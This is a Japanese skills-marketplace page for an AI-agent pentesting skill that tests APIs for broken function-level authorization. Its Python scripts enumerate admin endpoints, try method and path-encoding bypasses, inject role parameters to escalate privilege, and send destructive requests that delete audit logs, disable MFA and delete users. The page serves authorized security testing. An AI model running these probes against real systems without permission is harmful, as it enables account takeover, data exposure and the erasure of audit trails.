exploiting-broken-function-level-authorization について
許可を得たセキュリティテスト担当者向けの、API機能レベル認可の検証スキルです。ロール、HTTPメソッド、パラメーター、APIバージョンを横断して、管理機能への不正アクセスを調べます。
主な機能
- 01管理APIエンドポイントの発見
- 02ユーザーロール別のアクセス検証
- 03異なるHTTPメソッドのテスト
- 04パラメーターによる権限昇格の確認
- 05旧版や別経路のAPIのテスト
活用シーン
- 01APIの垂直権限昇格リスクの評価
- 02ゲートウェイとミドルウェアの認可確認
- 03ロール別のエンドポイント制御テスト
- 04文書にない管理エンドポイントの確認
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-broken-function-level-authorizationインストール後、Claude Code で/exploiting-broken-function-level-authorizationを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
関数レベル認可の不備の悪用
使用する場面
- 通常ユーザーが URL に直接アクセスして、管理者向け API エンドポイントを利用できるかテストする場合
- ユーザーが自身のロールを超える機能を呼び出せる、API の垂直権限昇格を評価する場合
- API ゲートウェイとミドルウェアが、関数レベルのアクセス制御を一貫して適用しているか評価する場合
- すべての API エンドポイントと HTTP メソッドにわたる、ロールベースアクセス制御(RBAC)の実装をテストする場合
- 認可のない管理者向けエンドポイントのパスが、API ドキュメントで公開されていないか検証する場合
書面による許可なしに使用しないでください。BFLA のテストでは、認可されていない認証情報で管理機能を実行しようとします。
前提条件
- 対象 API と対象範囲に含まれる管理機能を明記した書面による許可
- 複数の権限レベル(通常ユーザー、モデレーター、管理者、スーパー管理者)のテストアカウント
- 管理者向けエンドポイントが記載されている可能性のある API ドキュメント(OpenAPI/Swagger 仕様)
- リクエストの傍受と操作に使用する Burp Suite Professional
requestsライブラリを使用する Python 3.10+- 一般的な管理者向けエンドポイントの命名規則に関する知識
ワークフロー
ステップ 1:管理者向けエンドポイントの検出
import requests
import itertools
BASE_URL = "https://target-api.example.com"
regular_user_headers = {"Authorization": "Bearer <regular_user_token>"}
admin_headers = {"Authorization": "Bearer <admin_token>"}
# Common admin endpoint patterns
ADMIN_PATH_PATTERNS = [
"/api/v1/admin",
"/api/v1/admin/users",
"/api/v1/admin/settings",
"/api/v1/admin/config",
"/api/v1/admin/logs",
"/api/v1/admin/dashboard",
"/api/v1/admin/reports",
"/api/v1/admin/billing",
"/api/v1/manage",
"/api/v1/management",
"/api/v1/internal",
"/api/v1/internal/users",
"/api/v1/system",
"/api/v1/system/health",
"/api/v1/console",
"/api/v1/users/admin",
"/api/v1/roles",
"/api/v1/permissions",
"/api/v1/audit",
"/api/v1/audit/logs",
"/api/internal/",
"/admin/api/",
"/management/api/",
"/backoffice/api/",
]
# Administrative function patterns (POST/PUT/DELETE operations)
ADMIN_FUNCTIONS = [
("POST", "/api/v1/users", {"role": "admin"}), # Create user with admin role
("PUT", "/api/v1/users/1/role", {"role": "admin"}), # Change user role
("DELETE", "/api/v1/users/1002", None), # Delete another user
("POST", "/api/v1/settings", {"maintenance": True}), # Modify system settings
("GET", "/api/v1/users?role=admin", None), # List admin users
("POST", "/api/v1/export/users", None), # Export user data
("POST", "/api/v1/users/1002/disable", None), # Disable user account
("POST", "/api/v1/users/1002/reset-password", None), # Force password reset
("PUT", "/api/v1/config/security", {"mfa_required": False}),# Disable security
("DELETE", "/api/v1/audit/logs", None), # Delete audit logs
]
# Phase 1: Discover accessible admin endpoints
print("Phase 1: Admin Endpoint Discovery")
for path in ADMIN_PATH_PATTERNS:
for method in ["GET", "POST", "PUT", "DELETE", "PATCH"]:
try:
resp = requests.request(method, f"{BASE_URL}{path}",
headers=regular_user_headers, timeout=5)
if resp.status_code not in (401, 403, 404, 405):
print(f" [ACCESSIBLE] {method} {path} -> {resp.status_code}")
except requests.exceptions.RequestException:
pass
ステップ 2:ロールベースの機能テスト
# Define roles and their expected access levels
ROLES = {
"unauthenticated": {},
"regular_user": {"Authorization": "Bearer <regular_token>"},
"moderator": {"Authorization": "Bearer <moderator_token>"},
"admin": {"Authorization": "Bearer <admin_token>"},
}
# Endpoints with expected minimum role requirement
ROLE_MATRIX = [
# (method, endpoint, body, minimum_role)
("GET", "/api/v1/users/me", None, "regular_user"),
("GET", "/api/v1/users", None, "admin"),
("POST", "/api/v1/users", {"email":"[email protected]","name":"X","role":"user"}, "admin"),
("DELETE", "/api/v1/users/1002", None, "admin"),
("GET", "/api/v1/admin/settings", None, "admin"),
("PUT", "/api/v1/admin/settings", {"feature_flag": True}, "admin"),
("GET", "/api/v1/reports/financial", None, "admin"),
("POST", "/api/v1/users/1002/ban", None, "moderator"),
("GET", "/api/v1/audit/logs", None, "admin"),
("POST", "/api/v1/export/database", None, "admin"),
("PUT", "/api/v1/users/1002/role", {"role": "admin"}, "admin"),
]
ROLE_HIERARCHY = ["unauthenticated", "regular_user", "moderator", "admin"]
results = []
for method, endpoint, body, min_role in ROLE_MATRIX:
min_index = ROLE_HIERARCHY.index(min_role)
for role_name, role_headers in ROLES.items():
role_index = ROLE_HIERARCHY.index(role_name)
if role_index < min_index: # This role should NOT have access
resp = requests.request(method, f"{BASE_URL}{endpoint}",
headers=role_headers, json=body, timeout=5)
if resp.status_code not in (401, 403):
results.append({
"endpoint": f"{method} {endpoint}",
"role_used": role_name,
"expected_min_role": min_role,
"status_code": resp.status_code,
"vulnerable": True
})
print(f" [BFLA] {role_name} accessed {method} {endpoint} (requires {min_role}) -> {resp.status_code}")
print(f"\nTotal BFLA findings: {len(results)}")
ステップ 3:HTTP メソッドの操作
# Test if authorization is method-dependent
def test_method_based_bfla(endpoint, authorized_method="GET"):
"""Test if authorization only applies to certain HTTP methods."""
methods = ["GET", "POST", "PUT", "PATCH", "DELETE", "HEAD", "OPTIONS", "TRACE"]
print(f"\nTesting method-based BFLA on {endpoint}:")
for method in methods:
try:
resp = requests.request(method, f"{BASE_URL}{endpoint}",
headers=regular_user_headers,
json={"test": True} if method in ("POST","PUT","PATCH") else None,
timeout=5)
status = "ACCESSIBLE" if resp.status_code not in (401, 403, 405) else "blocked"
if status == "ACCESSIBLE":
print(f" [{status}] {method} {endpoint} -> {resp.status_code}")
except requests.exceptions.RequestException:
pass
# Admin endpoints to test
test_method_based_bfla("/api/v1/admin/users")
test_method_based_bfla("/api/v1/admin/settings")
test_method_based_bfla("/api/v1/users/1002")
ステップ 4:パラメーターを利用した権限昇格
# Test if adding admin parameters to regular requests enables admin functions
privilege_escalation_tests = [
# Test 1: Add role parameter to self-update
{
"name": "Self role elevation via profile update",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"name": "Test User", "role": "admin"},
},
# Test 2: Add admin flag
{
"name": "Admin flag injection",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"name": "Test User", "is_admin": True, "isAdmin": True, "admin": True},
},
# Test 3: Modify user ID in body to target other users
{
"name": "User ID substitution in body",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"id": 1, "user_id": 1, "role": "admin"},
},
# Test 4: Access admin function via regular endpoint with admin params
{
"name": "Hidden admin parameter",
"method": "GET",
"endpoint": "/api/v1/users?admin=true&debug=true&internal=true",
"body": None,
},
# Test 5: Override tenant/organization
{
"name": "Tenant override",
"method": "GET",
"endpoint": "/api/v1/users",
"body": None,
"extra_headers": {"X-Tenant-Id": "admin-org", "X-Organization": "1"},
},
]
for test in privilege_escalation_tests:
extra = test.get("extra_headers", {})
resp = requests.request(
test["method"],
f"{BASE_URL}{test['endpoint']}",
headers={**regular_user_headers, **extra},
json=test["body"],
timeout=5
)
if resp.status_code in (200, 201, 204):
print(f"[BFLA] {test['name']}: {resp.status_code}")
# Check if role actually changed
if "role" in test.get("body", {}):
me_resp = requests.get(f"{BASE_URL}/api/v1/users/me",
headers=regular_user_headers)
if me_resp.status_code == 200:
current_role = me_resp.json().get("role", "unknown")
print(f" Current role after exploit: {current_role}")
ステップ 5:API バージョンとパストラバーサルによる管理者アクセス
# Test if older or alternative API versions lack authorization
api_versions = ["v1", "v2", "v3", "v0", "beta", "alpha", "internal", "legacy", "staging"]
admin_paths = ["/admin/users", "/admin/settings", "/users", "/config"]
print("Testing API version bypass:")
for version in api_versions:
for path in admin_paths:
full_path = f"/api/{version}{path}"
resp = requests.get(f"{BASE_URL}{full_path}",
headers=regular_user_headers, timeout=5)
if resp.status_code not in (401, 403, 404):
print(f" [BYPASS] {full_path} -> {resp.status_code}")
# Test path-based bypass techniques
bypass_paths = [
"/api/v1/admin/users",
"/api/v1/Admin/users", # Case variation
"/api/v1/ADMIN/users",
"/api/v1/%61dmin/users", # URL encoding
"/api/v1/./admin/users", # Path traversal
"/api/v1/admin/../admin/users", # Double path
"/api/v1/;/admin/users", # Semicolon insertion
"/api/v1/admin/users.json", # Extension addition
"/api/v1/admin/users/", # Trailing slash
]
for path in bypass_paths:
resp = requests.get(f"{BASE_URL}{path}",
headers=regular_user_headers, timeout=5)
if resp.status_code not in (401, 403, 404):
print(f" [PATH BYPASS] {path} -> {resp.status_code}")
主要な概念
| 用語 | 定義 |
|---|---|
| BFLA | 関数レベル認可の不備(OWASP API5:2023)。通常ユーザーが、適切な認可チェックなしに管理者向けまたは特権付きの API 機能を呼び出せる状態です |
| 垂直権限昇格 | 通常ユーザーが管理者向けエンドポイントにアクセスするなど、より高い権限レベルに制限された機能やデータにアクセスすることです |
| RBAC | ロールベースアクセス制御。権限をロールに割り当て、ロールをユーザーに割り当てる認可モデルです |
| 関数レベルの認可 | 認証済みユーザーが特定の API 機能を呼び出す権限を持つか確認するアクセス制御チェックです |
| 管理者向けエンドポイント | 管理者ユーザーのみを対象とする API エンドポイントです。通常、ユーザー、設定、監査ログ、システム構成を管理します |
| 強制ブラウジング | アプリケーション内からリンクされていないもののサーバー上に存在する URL に直接アクセスし、UI レベルのアクセス制限を回避することです |
ツールとシステム
- Burp Suite Professional:管理者としてリクエストを傍受した後、通常ユーザーのトークンで再送信し、関数レベルの認可をテストします
- OWASP ZAP:強制ブラウズスキャナーで、非公開の管理者向けエンドポイントを検出し、アクセス制御をテストします
- Autorize(Burp 拡張機能):管理者向けリクエストを通常ユーザーの認証情報で再送信して、BFLA を自動検出します
- ffuf:エンドポイント検出ツール:
ffuf -u https://api.example.com/api/v1/FUZZ -w admin-endpoints.txt -H "Authorization: Bearer user_token" - Nuclei:一般的なフレームワーク向けの BFLA 検出テンプレートを備えた、テンプレートベースのスキャナーです
一般的なシナリオ
シナリオ:SaaS マルチテナント API の BFLA 評価
コンテキスト:SaaS プラットフォームには、ユーザー、モデレーター、管理者のロールがあります。API は React フロントエンドにサービスを提供し、ユーザーのロールに応じて管理者向け機能を条件付きで表示します。バックエンド API では、同じ制限を独立して適用する必要があります。
アプローチ:
- フロントエンドの JavaScript バンドルから管理者用エンドポイントを特定します:
/admin/、/manage/、およびロールチェックの条件分岐を検索します - ユーザー管理、請求、機能フラグ、監査ログを含む、12 個の管理者用エンドポイントを見つけます
- 一般ユーザーのトークンで各管理者用エンドポイントをテストします:
GET /api/v1/admin/usersが全ユーザーデータを含む 200 を返す(BFLA - 読み取り)PUT /api/v1/admin/users/1002/roleがロール変更を受け付ける(BFLA - 書き込み)DELETE /api/v1/audit/logsが 200 を返す(BFLA - 破壊的操作)
- メソッドによるバイパスをテストします:
GET /api/v1/admin/settingsは 403 を返しますが、PUT /api/v1/admin/settingsは 200 を返します DELETE /api/v1/admin/billingを除くすべての管理者用エンドポイントに、モデレーターのロールでアクセスできることを確認します- 認可が一切ない
/api/v2/admin/usersが存在することを見つけます(シャドウ API バージョン)
落とし穴:
- 管理者用エンドポイントで GET リクエストだけをテストし、POST/PUT/DELETE メソッドにおける BFLA を見逃す
- 管理者用エンドポイントが UI にリンクされていないため、発見できない(エンドポイントの列挙が必要です)
- 管理者用エンドポイントで 1 つ 403 が返されたことを理由に、RBAC が一貫して適用されていると思い込む
- OpenAPI 仕様に記載されていない、内部用または非公開 API エンドポイントの BFLA を見逃す
- 利用可能なすべてのロールレベルでテストしない(モデレーターは管理者権限の一部にアクセスできる場合があります)
出力形式
## Finding: Regular Users Can Access Admin User Management API
**ID**: API-BFLA-001
**Severity**: Critical (CVSS 9.8)
**OWASP API**: API5:2023 - Broken Function Level Authorization
**Affected Endpoints**:
- GET /api/v1/admin/users (read all users)
- PUT /api/v1/admin/users/{id}/role (change user roles)
- DELETE /api/v1/audit/logs (delete audit trail)
- PUT /api/v1/admin/settings (modify system config)
**Description**:
The API does not enforce function-level authorization on administrative
endpoints. A regular user can directly call admin API endpoints and
execute administrative functions including user management, role changes,
system configuration, and audit log deletion. The frontend hides admin
features based on role, but the backend API does not enforce the same
restrictions.
**Proof of Concept**:
1. Authenticate as regular user: POST /api/v1/auth/login
2. Call admin endpoint: GET /api/v1/admin/users -> 200 OK (returns all 50,000 users)
3. Elevate own role: PUT /api/v1/admin/users/me/role {"role":"admin"} -> 200 OK
4. Delete audit logs: DELETE /api/v1/audit/logs -> 204 No Content
**Impact**:
Any authenticated user can take full administrative control of the
platform, access all user data, modify roles, change system configuration,
and delete audit logs to cover their tracks.
**Remediation**:
1. Implement RBAC middleware that checks user role before executing any admin function
2. Apply authorization at the route/controller level, not just the frontend
3. Use decorator/annotation-based authorization (e.g., @RequireRole("admin"))
4. Add automated BFLA tests to the CI/CD pipeline that test every endpoint with every role
5. Implement immutable audit logging that admin users cannot delete
コメント
Markdown 対応